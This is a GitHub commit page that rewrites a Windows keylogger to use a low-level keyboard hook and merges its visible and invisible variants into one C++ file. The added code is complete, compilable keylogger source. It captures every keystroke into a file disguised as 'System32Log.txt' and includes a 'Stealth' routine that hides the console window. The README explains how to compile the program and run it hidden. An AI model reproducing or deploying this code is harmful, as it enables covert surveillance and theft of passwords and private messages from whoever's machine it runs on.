Skip to content

Commit

Permalink
Implemented Hook (#23)
Browse files Browse the repository at this point in the history
rewrote code to use hooks  as suggested in #17
merged files into one
updated readme
  • Loading branch information
Z0ckerchris authored and GiacomoLaw committed Jan 22, 2017
1 parent 81b6f15 commit 5a71fce
Show file tree
Hide file tree
Showing 4 changed files with 130 additions and 150 deletions.
6 changes: 3 additions & 3 deletions windows/README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
## Windows
Simply compile into an .exe, and then run.
To change visibility of the window set the "#define" in line 6 to 'visible' or 'invisible'.

There are two files; klog_visible and klog_invisible. It is pretty simple, but I will expand:
Simply compile into an .exe, and then run.

`klog_visible` is visible, and the window does not close when typing. Great for testing it out. `klog_invisible` makes the window of the logger disappear, and it also starts up hidden from view. Note that it is still visible in the task manager.
'visible' is visible, and the window does not close when typing. Great for testing it out. 'invisible' makes the window of the logger disappear, and it also starts up hidden from view. Note that it is still visible in the task manager.

Both of these save the keystrokes to a .txt file when closed.

Expand Down
73 changes: 0 additions & 73 deletions windows/klog_invisible.cpp

This file was deleted.

127 changes: 127 additions & 0 deletions windows/klog_main.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
#include <Windows.h>
#include <iostream>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke, char *file);

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);

// save to file
Save(kbdStruct.vkCode, "System32Log.txt");
}
}

// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
MessageBox(NULL, L"Failed to install hook!", L"Error", MB_ICONERROR);
}
}

void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke, char *file)
{
if ((key_stroke == 1) || (key_stroke == 2))
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

std::cout << key_stroke << '\n';

if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == VK_SPACE)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%c", key_stroke);

// NOTE: Numpad-Keys seem to print as lowercase letters

fclose(OUTPUT_FILE);
return 0;
}

void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif // visible

#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif // invisible
}

void main()
{
// visibility of window
Stealth();

// Set the hook
SetHook();

// loop to keep the console application running.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}
74 changes: 0 additions & 74 deletions windows/klog_visible.cpp

This file was deleted.

0 comments on commit 5a71fce

Please sign in to comment.